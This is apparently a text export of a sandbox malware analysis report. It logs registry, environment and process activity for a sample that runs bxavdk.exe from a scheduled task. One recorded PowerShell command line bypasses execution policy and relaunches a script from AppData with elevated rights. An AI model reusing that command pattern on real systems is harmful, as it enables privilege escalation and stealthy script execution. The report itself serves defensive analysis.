Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Read Value HKEY_CURRENT_USER\Environment value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = 0, type = REG_SZ True 4
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell value_name = path, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 2
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 3
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 3
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = 0, type = REG_SZ True 6
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 6
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Enumerate Values HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 2
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Get Key Info HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog - True 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Filename - process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
User (7)
»
Operation Additional Information Success Count Logfile
Lookup Privilege privilege = SeDebugPrivilege, luid = 20 True 1
Fn
Get Username user_name_out = 5p5NrGJn0jS HALPmcxz True 6
Fn
System (6)
»
Operation Additional Information Success Count Logfile
Get Info type = Operating System True 4
Fn
Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Get Info type = Hardware Information True 1
Fn
Environment (48)
»
Operation Additional Information Success Count Logfile
Get Environment String name = MshEnableTrace False 44
Fn
Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Get Environment String name = HOMEPATH, result_out = \Users\5p5NrGJn0jS HALPmcxz True 1
Fn
Set Environment String name = PSMODULEPATH, value = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Process #12: taskeng.exe
0 0
»
Information Value
ID #12
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {BAE407F2-B61C-4068-A2A9-66A3D1D24DDD} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:02, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:18, Reason: Self Terminated
Monitor Duration 00:00:16
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xbd0
Parent PID 0x36c (Unknown)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BD4
0x BD8
0x BDC
0x BE0
0x BE4
0x BE8
0x BEC
Process #13: bxavdk.exe
0 0
»
Information Value
ID #13
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\3a21fbc5-dd69-4c4d-8afb-49507938dea0\bxavdk.exe" --Task
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:02, Reason: Child Process
Unmonitor End Time: 00:01:16, Reason: Self Terminated
Monitor Duration 00:00:13
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xbf0
Parent PID 0xbd0 (c:\windows\system32\taskeng.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x BF4
0x 5C4
Process #15: powershell.exe
0 0
»
Information Value
ID #15
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line powershell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\script.ps1""' -Verb RunAs}"
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\
Monitor Start Time: 00:01:16, Reason: Child Process
Unmonitor End Time: 00:01:18, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x888
Parent PID 0xb40 (c:\users\5p5nrgjn0js halpmcxz\appdata\local\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\updatewin1.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 7AC
0x 8BC
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image